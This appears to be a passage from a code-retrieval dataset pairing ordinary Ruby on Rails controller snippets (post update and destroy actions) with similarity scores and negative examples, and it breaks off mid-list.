"def update\n post = Post.find_by(id: params[:id])\n # byebug\n\n post.assign_attributes(update_params)\n if post.valid?\n post.save\n render json: post, status: :created\n else\n render json: {errors: post.errors.full_messages}, status: 422\n end\n end",
"def update\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find_by_slug(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n #@post = Post.find(params[:id])\n\n #respond_to do |format|\n # if @post.update_attributes(params[:post])\n # format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n # format.json { head :no_content }\n #else\n # format.html { render action: \"edit\" }\n # format.json { render json: @post.errors, status: :unprocessable_entity }\n #end\n #end\n end",
"def update\n respond_to do |format|\n if @patch.update(patch_params)\n format.html { redirect_to @patch, notice: 'Patch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @patch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update \n #this works largely the same, \n @post = Post.find(params[:id])\n @post.created_at = params[:created_at] if !!params[:created_at]\n if @post.update_attributes(params[:post])\n render \"show\", handlers: [:rabl]\n else\n render :json => @post.errors.full_messages, status: 422\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to \"/#{session[:username]}\", notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update?(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n delete_caches\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def update\n update_resource_response(@post, blog_post_params)\n end",
"def update\n \n @previous_content = @post[:content]\n respond_to do |format|\n if @post.update_attributes(params[:post])\n \t\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n \n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n verify_owner_or_admin(@post)\n \n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: \"Post was successfully updated.\" }\n format.json { render :show, status: :ok, location: @post }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @update = Update.find(params[:id])\n @post = @update.post\n\n respond_to do |format|\n if @update.update_attributes(params[:update])\n format.html { redirect_to @post, notice: 'Update was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @update.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @post.update(post_params)\n render json: {status: 1, id: @post.id.to_s, notice: \"修改成功,标题是:#{@post.title.capitalize}\", errors: []}\n else\n render json: {status: -1, notice: \"修改失败\", errors: @post.errors.fall_message}\n end\n end",
"def update\n params[:post][:tag_ids] ||= []\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to [@post.user, @post], notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n @post = Post.find(params[:id])\r\n @root_post = root_post_of(@post)\r\n\r\n respond_to do |format|\r\n if @post.update_attributes(params[:post])\r\n @root_post.touch(:updated_at)\r\n update_child_posts(@post)\r\n\r\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @post.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n @post.short_body = post_params[:body].split('</p>')[0] + '</p>'\n @post.tags.delete_all\n set_tags\n\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @post.update_attributes(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { render :show, status: :ok, location: @post }\n else\n format.html { render :edit }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n render_forbidden and return unless can_edit?\n @post = Post.friendly.find(params[:id])\n \n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n redirect_to root_path\n end\n end\n end",
"def update\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.71867543",
"0.7042899",
"0.6774105",
"0.67672604",
"0.6669961",
"0.6649129",
"0.657972",
"0.6556958",
"0.6551495",
"0.6549005",
"0.6535034",
"0.6531995",
"0.6497553",
"0.64958835",
"0.6468818",
"0.64319825",
"0.6428907",
"0.64275557",
"0.64273673",
"0.64193714",
"0.64193666",
"0.6413534",
"0.6401499",
"0.6401499",
"0.63909745",
"0.63825583",
"0.63711846",
"0.63711846",
"0.63711846",
"0.63711846",
"0.63711846",
"0.63711846",
"0.63711846",
"0.63711846",
"0.63711846",
"0.63711846",
"0.63711846",
"0.63711846",
"0.63711846",
"0.63711846",
"0.63711846",
"0.63711846",
"0.6371097",
"0.63611764",
"0.6360867",
"0.63598454",
"0.63573265",
"0.63573265",
"0.63573265",
"0.63573265",
"0.6348769",
"0.6339638",
"0.63390875",
"0.633172",
"0.63293755",
"0.63204026",
"0.63095254",
"0.62960684",
"0.6289831",
"0.62780434",
"0.6271677",
"0.62716043",
"0.6271454",
"0.6261652",
"0.62530375",
"0.62426263",
"0.6228117",
"0.621697",
"0.6215017",
"0.6206318",
"0.6204175",
"0.6204175",
"0.6204175",
"0.6204175",
"0.6204175",
"0.6204175",
"0.6204175",
"0.6204175",
"0.6204175",
"0.6204175",
"0.62031627",
"0.61977786",
"0.61819714",
"0.61774534",
"0.61740726",
"0.6168681",
"0.6159861",
"0.61563087",
"0.61456937",
"0.61456937",
"0.614226",
"0.6122881",
"0.6116053",
"0.61133987",
"0.6110099",
"0.6107206",
"0.6105214",
"0.60997695",
"0.60986936",
"0.6094729",
"0.60945"
] | 0.0 | -1 |
DELETE /posts/1 DELETE /posts/1.json | def destroy
@post.destroy
respond_to do |format|
format.html { redirect_to posts_url, notice: 'Post was successfully destroyed.' }
format.json { head :no_content }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def delete\n render json: Post.delete(params[\"id\"])\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n post = Post.find(params[:id])\n if post.destroy\n render json: {status: \"success\", data: {id: params[:id]}}, status: :ok\n end\n end",
"def destroy\n @post.destroy\n render json: {}, status: :ok\n end",
"def destroy\n if @post.destroy\n render json: {\n post: @post\n }, status: :ok\n else\n render status: :bad_request\n end\n end",
"def destroy\n @api_v2_post = Post.find(params[:id])\n @api_v2_post.destroy\n\n respond_to do |format|\n format.html { redirect_to api_v2_posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_v1_post.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_posts_url, notice: 'Post was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n authenticated\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n # @post = Post.find(params[:id])\n # @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @post.destroy\n\n json_response(@post)\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n respond_with Post.destroy(params[:id])\n end",
"def destroy\n r = PostRepository.new\n @post = r.GetPost(\"PostID\", params[:id].to_i)\n r.delete @post\n\n respond_to do |format|\n format.html { redirect_to(posts_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n format.xml { head :no_content }\n end\n end",
"def destroy\n @api_post.destroy\n\n head :no_content\n end",
"def destroy\n @post.destroy\n render json: {\n data: {\n post: { key: @post.id },\n status: @post.status,\n }\n }\n end",
"def destroy\n\t\tpost = Post.find(params[:id])\n\t\t# byebug\n \tpost.destroy\n\t posts = Post.all\n \trender json: posts\n end",
"def destroy\r\n @post = Post.find(params[:id])\r\n @post.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to posts_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_path, notice: \"Post removed.\" }\n format.json { render 'destroy' }\n end\n end",
"def delete\n @post = Post.find(params[:id])\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_path(client_id:current_user.client.id, per_page:5), notice: 'Post was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to dashboard_index_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n respond_with Post.destroy(params[:id])\n end",
"def destroy\r\n @post = Post.find(params[:id])\r\n @post.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to root_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @post.destroy\n\n head :no_content\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to '/admin/posts' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n\n render json: Post.all.as_json\n end",
"def destroy\n @post.destroy\n head :no_content\n end",
"def destroy\n @post.destroy\n head :no_content\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to blog_posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n @title = \"Kill Post\"\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to all_user_posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n head :no_content\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html {redirect_to posts_url, notice: 'Post was successfully destroyed.'}\n format.json {head 200}\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_path, notice: 'Post was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n respond_with post.destroy(params[:id])\n end",
"def destroy\n @post.destroy\n \n respond_to do |format|\n format.html { redirect_to post_url, notice: 'Post was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n Post.find(params[:id]).delete\n\n redirect_to '/'\n end",
"def destroy\n # @post = Post.find(params[:id])\n #@post.destroy\n\n #respond_to do |format|\n # format.html { redirect_to posts_url }\n #format.json { head :no_content }\n #end\n end",
"def delete(url)\n raise Error, \"Missing URL\" unless url\n get('posts/delete?uri=' << u(url))\n nil\n end",
"def destroy\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to news_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @post = Post.find_by_slug(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url, notice: \"Anúncio removido com sucesso.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.friendly.find(params[:id])\n @post.destroy\n respond_to do |format|\n format.html { redirect_to root_path, notice: 'Story deleted' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url, notice: \"Postitus edukalt kustutatud!\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url, notice: 'Postagem excluida com sucesso.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url, notice: 'Postagem excluída com sucesso!' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mural_post.destroy\n respond_to do |format|\n format.html { redirect_to mural_posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @posto = Posto.find(params[:id])\n @posto.destroy\n\n respond_to do |format|\n format.html { redirect_to postos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_post.destroy\n end"
] | [
"0.8046884",
"0.76902676",
"0.7583626",
"0.75803024",
"0.7568048",
"0.75047046",
"0.75031126",
"0.74750155",
"0.74671036",
"0.74650854",
"0.746482",
"0.74589694",
"0.74589694",
"0.74589694",
"0.74589694",
"0.74579465",
"0.74579465",
"0.74579465",
"0.74579465",
"0.74579465",
"0.74579465",
"0.74579465",
"0.74579465",
"0.74579465",
"0.74579465",
"0.74579465",
"0.74579465",
"0.74579465",
"0.74579465",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7423174",
"0.74059606",
"0.73990285",
"0.73928183",
"0.7389498",
"0.7371715",
"0.7371117",
"0.7349121",
"0.7344524",
"0.7342226",
"0.7338908",
"0.7313371",
"0.73123556",
"0.731156",
"0.73095584",
"0.7299751",
"0.7298017",
"0.7298017",
"0.7282874",
"0.7277125",
"0.7266815",
"0.7260945",
"0.72549784",
"0.7254856",
"0.7239102",
"0.7238946",
"0.7229726",
"0.7227931",
"0.7221013",
"0.721375",
"0.7211237",
"0.72097856",
"0.7190222",
"0.71850675",
"0.7171746",
"0.71533066",
"0.71457464",
"0.71434635",
"0.7142048",
"0.7139985",
"0.7137574"
] | 0.0 | -1 |
Use callbacks to share common setup or constraints between actions. | def set_post
@post = Post.find(params[:id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def set_actions\n actions :all\n end",
"def define_action_helpers?; end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def setup_handler\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def workflow\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def setup\n # override and do something appropriate\n end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup\n transition_to(:setup)\n end",
